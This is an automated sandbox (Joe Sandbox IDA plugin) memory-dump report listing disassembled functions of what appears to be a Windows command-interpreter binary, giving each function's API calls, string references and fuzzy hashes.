Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: _errnoiswdigit$iswalphawcschrwcstolwcstoul
String ID: +-~!
API String ID: 2191331888-2604099254
Opcode ID: 0e9118e6e5838e070c0feab983ba48021422a8298914ce3d04bcebc0326d6630
Instruction ID: 917607b87572047b69e601092c1d0cff33b8c1f5866df493dea7564d4ed0a357
Opcode Fuzzy Hash: 0e9118e6e5838e070c0feab983ba48021422a8298914ce3d04bcebc0326d6630
Instruction Fuzzy Hash: AE519079401209EFCB04DF64E945AEB37A5EF06320F15812AFC269B150EBB4DF45DBA1

Function 001B7220 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

towupper.MSVCRT ref: 001B7277
iswalpha.MSVCRT ref: 001B72AA
towupper.MSVCRT ref: 001B72BD
GetVolumeInformationW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000101,?,00000000,00000000,00000000,00000000), ref: 001B72EF
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 001B7304
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 001B7311

Strings

\, xrefs: 001B724E
%04X-%04X, xrefs: 001B7378
, xrefs: 001B7243

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: ErrorLasttowupper$InformationVolumeiswalpha
String ID: $%04X-%04X$\
API String ID: 4001382275-467840296
Opcode ID: 34297c90ceceef9b6ed869f6006ab82807f2617b252ce2388b8fb213080d0ab1
Instruction ID: 3f76b291a5cc56a9b3f41b672c292dd81b94968aa3647daa3f47f13c1f6683ef
Opcode Fuzzy Hash: 34297c90ceceef9b6ed869f6006ab82807f2617b252ce2388b8fb213080d0ab1
Instruction Fuzzy Hash: 5941D971608310AADB24ABA59C0AEBB77ECEFD4B10F44441EF949D61D0E7709940D6B2

Function 001B64DB Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 128registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,00000000,00000000,00000000,00000002,00000000,?,00000000,001BCD00,00000018,?,?,001ABFD6), ref: 001B650F
RegSetValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(00000000,00000000,00000000,00000001,?,00000000,?,?,00000000,00000000,00000000,00000002,00000000,?,00000000,001BCD00), ref: 001B6545
RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(00000000,?,?,00000000,00000000,00000000,00000002,00000000,?,00000000,001BCD00,00000018,?,?,001ABFD6), ref: 001B6553
RegDeleteKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,00000000,00000000,001BCD00,00000018,?,?,001ABFD6), ref: 001B6590
RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,00000000,02000000,?,?,?,00000000,00000000,001BCD00,00000018,?,?,001ABFD6), ref: 001B65AD
RegDeleteValueW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,001920B8,?,00000000,02000000,?,?,?,00000000,00000000,001BCD00,00000018,?,?,001ABFD6), ref: 001B65D4
RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,00000000,02000000,?,?,?,00000000,00000000,001BCD00,00000018,?,?,001ABFD6), ref: 001B65EF

Strings

%s=%s, xrefs: 001B6561
p~du, xrefs: 001B6553, 001B65EF

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: CloseDeleteValue$CreateOpen
String ID: %s=%s$p~du
API String ID: 1019019434-193987542
Opcode ID: 7776d419220933b99359c7afb5957e7a2dfd920c99a414fda60baabcdba0fb39
Instruction ID: caa973ed55fdcae73249f47115fa621367c75b4e0666a215e1e86b3a81af7e07
Opcode Fuzzy Hash: 7776d419220933b99359c7afb5957e7a2dfd920c99a414fda60baabcdba0fb39
Instruction Fuzzy Hash: 1C41E272D01215ABDF31AB55CC09EEF7B78EFA9F90F01011AF80577294D72A5E01CAA0

Function 001B2D1F Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 101synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.API-MS-WIN-CORE-SYNCH-L1-1-0(00000000,00000000,00000000,00000000,?,00000000,00000000,?,001B3877), ref: 001B2D31

Strings

wil, xrefs: 001B2E26

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: ObjectSingleWait
String ID: wil
API String ID: 24740636-1589926490
Opcode ID: 8f75f63e60e3e2b0063ab9330888f76b0f5e9eb097a418ffad643db2dc029dd3
Instruction ID: 8c8fdfbf344350b4ad949115a644a4805245f767f87a608b4958c64cb60053c5
Opcode Fuzzy Hash: 8f75f63e60e3e2b0063ab9330888f76b0f5e9eb097a418ffad643db2dc029dd3
Instruction Fuzzy Hash: F731B530305204ABEB249BA2CC89BFB376EEF41351FB04436F912D6690D778CD499662

Function 001B832A Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 90windowCOMMON

Download Yara Rule

APIs

FormatMessageW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00001900,00000000,?,00000000,?,0000000A,?), ref: 001B8360
_ultoa.MSVCRT ref: 001B8376
GetACP.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(?,000000FF,?,00000020), ref: 001B838B
MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0(00000000,00000000), ref: 001B83A0
FormatMessageW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00003100,00000000,0000013D,00000000,?,0000000A,?), ref: 001B83D8
LocalFree.API-MS-WIN-CORE-HEAP-L2-1-0(?,?), ref: 001B840C

Strings

Application, xrefs: 001B83B3
(#, xrefs: 001B83A6
System, xrefs: 001B83BA

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: FormatMessage$ByteCharFreeLocalMultiWide_ultoa
String ID: (#$Application$System
API String ID: 3377411628-593978566
Opcode ID: 9035a48bccf0a57c8bc05398e181245a6dc50fb3eb48e69a0ed5e1e0cd640ac6
Instruction ID: 71c4037a698d23600a7892982e8975983a298ee962ad131bd170906928c789aa
Opcode Fuzzy Hash: 9035a48bccf0a57c8bc05398e181245a6dc50fb3eb48e69a0ed5e1e0cd640ac6
Instruction Fuzzy Hash: E9314971A00208ABDF10DFB5CC44EEEBBBDEB49B10F50412AF811E7191EB309A45CB61

Function 001A5271 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 63COMMON

Download Yara Rule

APIs

GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0(?,00000004,?,?,00000000,?,?,?,001A5134,-00000001), ref: 001A5294
RemoveDirectoryW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000004,?,?,00000000,?,?,?,001A5134,-00000001), ref: 001A52A4
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,00000004,?,?,00000000,?,?,?,001A5134,-00000001), ref: 001B1036
GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,00000004,?,?,00000000,?,?,?,001A5134,-00000001), ref: 001B1048
SetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0(?,00000000,?,?,?,00000004,?,?,00000000,?,?,?,001A5134,-00000001), ref: 001B1064
RemoveDirectoryW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000000,?,?,?,00000004,?,?,00000000,?,?,?,001A5134,-00000001), ref: 001B1073

Strings

\, xrefs: 001B1024
:, xrefs: 001B1019

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: AttributesDirectoryFileRemove$ErrorFullLastNamePath
String ID: :$\
API String ID: 3961617410-1166558509
Opcode ID: 83e14385beeac1fc6a44a02181153361f260802200958e6c0992155e6dbde1d3
Instruction ID: 51b8972f661e5154cac31daec0f38f423b801ae4c789989abb00ea37d73fe0a6
Opcode Fuzzy Hash: 83e14385beeac1fc6a44a02181153361f260802200958e6c0992155e6dbde1d3
Instruction Fuzzy Hash: 7711EC39A06614EB8720AB349C487BF77B9EF47750746411BF812D2190DB748DC5D1A1

Function 001A161D Relevance: 15.4, APIs: 10, Instructions: 419COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 001A1665
memset.MSVCRT ref: 001A1689
memset.MSVCRT ref: 001A16AD
memset.MSVCRT ref: 001A16D1

Part of subcall function 0019E3F0: memset.MSVCRT ref: 0019E455

??_V@YAXPAX@Z.MSVCRT(00000000,-00000001,?,?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 001A17CF
??_V@YAXPAX@Z.MSVCRT(?,-00000001,?,?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 001A17E9
??_V@YAXPAX@Z.MSVCRT(?,-00000001,?,?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 001A1801
??_V@YAXPAX@Z.MSVCRT(?,-00000001,?,?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 001A1813

Part of subcall function 001A260E: GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(00000000,?,?,001A1775,-00000001,-00000001,-00000001,-00000001), ref: 001A2650

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: memset$BufferConsoleInfoScreen
String ID:
API String ID: 1034426908-0
Opcode ID: 665d6f433dfc36feb3c0c7e1bc9082284163271c48f18edb5728bef217a8b053
Instruction ID: 20bb3ac8d2d9677cc6dd03287730c1ca0936ed741e4ae68d7a18423785911ff6
Opcode Fuzzy Hash: 665d6f433dfc36feb3c0c7e1bc9082284163271c48f18edb5728bef217a8b053
Instruction Fuzzy Hash: 87F18C75A04219ABDF28DF64CC85AAABBF5FF15304F1441A9E849D7241EB34EE81CF90

Function 001B45F9 Relevance: 15.2, APIs: 10, Instructions: 150fileCOMMON

Download Yara Rule

APIs

SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00000000,00000000,00000001,?,00000000,00000001,001B9E02,?,?,001B9E02), ref: 001B4618
AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(001D8E04,?,001B9E02), ref: 001B4637
ReadFile.API-MS-WIN-CORE-FILE-L1-1-0(00000000,001CA7F0,001B9E02,?,00000000,?,001B9E02), ref: 001B4646
ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(001D8E04,?,001B9E02), ref: 001B4653
memcmp.MSVCRT(001CA7F0,001934F8,00000003), ref: 001B4693
MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0(?,00000000,001B9E02,00000000,?,001B9E02,?,001B9E02), ref: 001B4720
SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(?,001B9E02,00000000,00000000,?,001B9E02), ref: 001B4742
AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(001D8E04,?,001B9E02), ref: 001B474F
ReadFile.API-MS-WIN-CORE-FILE-L1-1-0(?,001CA7F1,00000001,?,00000000,?,001B9E02), ref: 001B4764
ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(001D8E04,?,001B9E02), ref: 001B4771

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: FileLockShared$AcquirePointerReadRelease$ByteCharMultiWidememcmp
String ID:
API String ID: 2002953238-0
Opcode ID: d5ba16d42a0c8092541e04c9789b2a925da589ef7746094ace1cf535ff0e49e8
Instruction ID: f30fc4a41e2a8be3dd22824abc6c19ddea696cbce2076a3298499ba68ac0d6c3
Opcode Fuzzy Hash: d5ba16d42a0c8092541e04c9789b2a925da589ef7746094ace1cf535ff0e49e8
Instruction Fuzzy Hash: A351F371A41204AFDF218F68CC49BBEBBB9EF52710F18815AF851DB291DB718D80CB51

Function 0019C897 Relevance: 15.1, APIs: 10, Instructions: 119fileCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0(?,00000001,001CA7F0,00000000,?,00000200), ref: 0019C818
wcschr.MSVCRT ref: 0019C882
_get_osfhandle.MSVCRT ref: 0019C8BA
SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000), ref: 0019C8C4
_get_osfhandle.MSVCRT ref: 0019C8DB
GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(00000000), ref: 0019C8ED
SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00000000,00000000,00000001), ref: 0019C90D
AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(001D8E04), ref: 0019C91E
ReadFile.API-MS-WIN-CORE-FILE-L1-1-0(00000000,001CA7F0,00000200,00000000,00000000), ref: 0019C934
ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(001D8E04), ref: 0019C941
_get_osfhandle.MSVCRT ref: 0019CAC4
SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000), ref: 0019CACE
memcmp.MSVCRT(001CA7F0,001934F8,00000003), ref: 001AD16E

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: File$Pointer_get_osfhandle$LockShared$AcquireByteCharMultiReadReleaseTypeWidememcmpwcschr
String ID:
API String ID: 1383533039-0
Opcode ID: 7463fa9ad08076112e39e25782a1b9bfce4aae18e2e2ad17865a6536558b05c2
Instruction ID: 19910ab8c7e76040845ede4f99f4248dc214a02085e32bef0352dc391791aacb
Opcode Fuzzy Hash: 7463fa9ad08076112e39e25782a1b9bfce4aae18e2e2ad17865a6536558b05c2
Instruction Fuzzy Hash: 1C4106719023188BEF34CF28DC89BA97776AF45710F9800AAF40A97590DBB58DD1CF96

Function 001A0444 Relevance: 15.1, APIs: 5, Strings: 5, Instructions: 97COMMON

Download Yara Rule

APIs

_wcsicmp.MSVCRT ref: 001A0478
_wcsicmp.MSVCRT ref: 001A048E
_wcsicmp.MSVCRT ref: 001A04AD
_wcsicmp.MSVCRT ref: 001A04CC
_wcsicmp.MSVCRT ref: 001A04DE

Strings

DEFINED, xrefs: 001A04C7
EXIST, xrefs: 001A0489
NOT, xrefs: 001A04D9
CMDEXTVERSION, xrefs: 001A04A8
ERRORLEVEL, xrefs: 001A0473

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: _wcsicmp
String ID: CMDEXTVERSION$DEFINED$ERRORLEVEL$EXIST$NOT
API String ID: 2081463915-1668778490
Opcode ID: abe228e937dbea54d8421ee0d6f08ddddbcc73268e2ca557310f1dad99ee0c33
Instruction ID: 6da90ea97ccf639777101cf80d4e4144c4efa972e119f2911cf409cbb3fd2046
Opcode Fuzzy Hash: abe228e937dbea54d8421ee0d6f08ddddbcc73268e2ca557310f1dad99ee0c33
Instruction Fuzzy Hash: 9E21B775609306AAEB2D5B65AC1673A27D8EF8A764F64441FF042825C1EFF4C8408A66

Function 00199EF2 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 278COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00199F3A

Part of subcall function 0019E3F0: memset.MSVCRT ref: 0019E455

_get_osfhandle.MSVCRT ref: 0019A02D
_get_osfhandle.MSVCRT ref: 0019A03F
??_V@YAXPAX@Z.MSVCRT(?,-00000105,00000001,?,00000001), ref: 0019A0E8

Strings

DPATH, xrefs: 001AC3D3

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: _get_osfhandlememset
String ID: DPATH
API String ID: 3784859044-2010427443
Opcode ID: 9b3d3780b9de1772143c902e9feb037098d2227d5a3d751c1873277da1c8d4af
Instruction ID: df41eaf90510791cf46119aceea9dd42e5ea0ac25b3ee7cf56a19c8716d1c0bc
Opcode Fuzzy Hash: 9b3d3780b9de1772143c902e9feb037098d2227d5a3d751c1873277da1c8d4af
Instruction Fuzzy Hash: 69A1F135A00201ABCF24AF78CC8597AB7F5EF99720B28862DF45697290DB30DC45CBD1

Function 001B4953 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 260timeCOMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 001B4A7B
GetLocalTime.API-MS-WIN-CORE-SYSINFO-L1-1-0(?,00000002,?), ref: 001B4B98
SetLocalTime.API-MS-WIN-CORE-SYSINFO-L1-1-0(?,?), ref: 001B4BC5
SetLocalTime.API-MS-WIN-CORE-SYSINFO-L1-1-0(?), ref: 001B4BD2
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 001B4BDC
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000), ref: 001B4C30

Strings

/-., xrefs: 001B4979
%s, xrefs: 001B4AF8

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: LocalTime$ErrorLast$_get_osfhandle
String ID: %s$/-.
API String ID: 1033501010-531045382
Opcode ID: 8cc86b159add651ec3a348cd25e6ae046d7e1b680565b677a1508fc63c990cb4
Instruction ID: f48bd52e8d3a499d8eec5da0656ca531218398b7684d30f6ddfa138c7813cde6
Opcode Fuzzy Hash: 8cc86b159add651ec3a348cd25e6ae046d7e1b680565b677a1508fc63c990cb4
Instruction Fuzzy Hash: 56815432A4021597DF28EB78CD46BFA73A4EF94B00F20816AE906D7192EF71DE45C614

Function 00197150 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 119COMMON

Download Yara Rule

APIs

_wcsnicmp.MSVCRT ref: 0019718A
swscanf.MSVCRT ref: 001971CD

Strings

:EOF, xrefs: 0019719D

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: _wcsnicmpswscanf
String ID: :EOF
API String ID: 1534968528-551370653
Opcode ID: 2cfce2a9877d28769ef2f1b18eaf361c6eea78d514d3fbdc7e8320f1491e8e83
Instruction ID: 3758c9198e5b97aaeebe0c067763091d8aaa538ee3f5c63d525cb1974e5c3ad5
Opcode Fuzzy Hash: 2cfce2a9877d28769ef2f1b18eaf361c6eea78d514d3fbdc7e8320f1491e8e83
Instruction Fuzzy Hash: C5315735A16360ABCF20AF649C49F7A77A8FF52710F54042AF982976D1DB34DC81C7A1

Function 001B6035 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 113libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(NTDLL.DLL,00000000,00000000,?,00000000,?), ref: 001B6069
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(00000000,NtQueryInformationProcess), ref: 001B607E
ReadProcessMemory.API-MS-WIN-CORE-MEMORY-L1-1-0(?,?,?,00000480,?), ref: 001B60DC
ReadProcessMemory.API-MS-WIN-CORE-MEMORY-L1-1-0(?,?,?,00000004,00000000), ref: 001B6128
ReadProcessMemory.API-MS-WIN-CORE-MEMORY-L1-1-0(?,?,?,00000002,00000000), ref: 001B614F
ReadProcessMemory.API-MS-WIN-CORE-MEMORY-L1-1-0(?,00000000,?,00000002,00000000), ref: 001B6186

Strings

NTDLL.DLL, xrefs: 001B6064
NtQueryInformationProcess, xrefs: 001B6078

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: MemoryProcessRead$AddressLibraryLoadProc
String ID: NTDLL.DLL$NtQueryInformationProcess
API String ID: 1580871199-2613899276
Opcode ID: dbf62a6f1f0d3fcabc1b41df82ced4a6bd8e81aa135a42b003493f971a448795
Instruction ID: 16f0d47b65a9e55954e86decf81f931aabc39c8588a3a3112aec45f8043a2e79
Opcode Fuzzy Hash: dbf62a6f1f0d3fcabc1b41df82ced4a6bd8e81aa135a42b003493f971a448795
Instruction Fuzzy Hash: 2E4171B1A01219ABDB20DB25DC85ABB777CEF41744F0040A9FA05E3281DB349E85CB65

Function 001A654B Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 107fileCOMMON

Download Yara Rule

APIs

_wcsicmp.MSVCRT ref: 001A65A4
CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,80000000,00000001,00000000,00000003,08000080,00000000), ref: 001A65D7
_open_osfhandle.MSVCRT ref: 001A65EB
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(00000000,?), ref: 001B2092

Strings

con, xrefs: 001A658A

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: CloseCreateFileHandle_open_osfhandle_wcsicmp
String ID: con
API String ID: 689241570-4257191772
Opcode ID: 1da9f17fda611bde7e9194d3d26bac6e243d42adcfff99b8cabef3d79e36128e
Instruction ID: 4d38af1aabe8551378292536ffc1c91157196f70030d0162bd54d6e58e05d328
Opcode Fuzzy Hash: 1da9f17fda611bde7e9194d3d26bac6e243d42adcfff99b8cabef3d79e36128e
Instruction Fuzzy Hash: EE314C76E01204AFD7289BA89C49BAF7BB9EB42774F35422AF412E31C0DB749D41C751

Function 001B61A2 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 98memoryfileCOMMON

Download Yara Rule

APIs

